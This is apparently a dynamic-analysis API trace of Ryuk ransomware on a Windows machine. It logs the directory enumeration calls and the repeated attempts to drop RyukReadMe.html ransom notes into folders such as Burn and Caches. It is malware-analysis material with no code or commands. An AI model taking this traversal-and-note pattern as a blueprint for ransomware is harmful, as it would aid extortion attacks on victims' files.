	[0266.687] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.687] GetLastError () returned 0xb7
	[0266.687] CloseHandle (hObject=0x984) returned 1
	[0266.687] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.687] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.688] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0266.688] SetLastError (dwErrCode=0x0) 
	[0266.688] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.688] GetLastError () returned 0xb7
	[0266.688] CloseHandle (hObject=0x988) returned 1
	[0266.688] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.688] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.689] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.689] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c673090, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6991f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.689] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c673090, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6991f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.689] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.689] SetLastError (dwErrCode=0x0) 
	[0266.689] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.689] GetLastError () returned 0xb7
	[0266.689] CloseHandle (hObject=0x988) returned 1
	[0266.690] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5c6991f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6991f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1
	[0266.690] SetLastError (dwErrCode=0x0) 
	[0266.690] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.690] GetLastError () returned 0xb7
	[0266.690] CloseHandle (hObject=0x988) returned 1
	[0266.690] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5c6991f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6991f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.691] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x5c6991f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6991f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.691] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.691] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6991f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c6991f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.691] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6991f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c6991f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.691] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.691] SetLastError (dwErrCode=0x0) 
	[0266.691] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.691] GetLastError () returned 0xb7
	[0266.691] CloseHandle (hObject=0x988) returned 1
	[0266.692] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x5c6bf350, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1
	[0266.692] SetLastError (dwErrCode=0x0) 
	[0266.692] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.692] GetLastError () returned 0xb7
	[0266.692] CloseHandle (hObject=0x988) returned 1
	[0266.692] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x5c6bf350, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.693] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x5c6bf350, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.693] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.693] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6bf350, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c6bf350, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.693] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6bf350, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c6bf350, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6bf350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.693] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.693] SetLastError (dwErrCode=0x0) 
	[0266.693] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn2\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.693] GetLastError () returned 0xb7
	[0266.693] CloseHandle (hObject=0x988) returned 1
	[0266.694] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c673090, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.694] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c673090, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.694] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.694] SetLastError (dwErrCode=0x0) 
	[0266.694] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.694] GetLastError () returned 0xb7
	[0266.694] CloseHandle (hObject=0x984) returned 1
	[0266.694] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c6e54b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6e54b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0266.695] SetLastError (dwErrCode=0x0) 
	[0266.695] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.695] GetLastError () returned 0xb7
	[0266.695] CloseHandle (hObject=0x984) returned 1
	[0266.695] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c6e54b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6e54b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.695] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c6e54b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6e54b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c6e54b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c6e54b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c6e54b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x408bd0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x408bd0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x408bd0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x18388, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db", cAlternateFileName="{AFBF9~3.DB")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 0
	[0266.696] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.696] SetLastError (dwErrCode=0x0) 
	[0266.696] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.696] GetLastError () returned 0xb7
	[0266.697] CloseHandle (hObject=0x984) returned 1
	[0266.697] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c731770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c731770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0266.697] SetLastError (dwErrCode=0x0) 
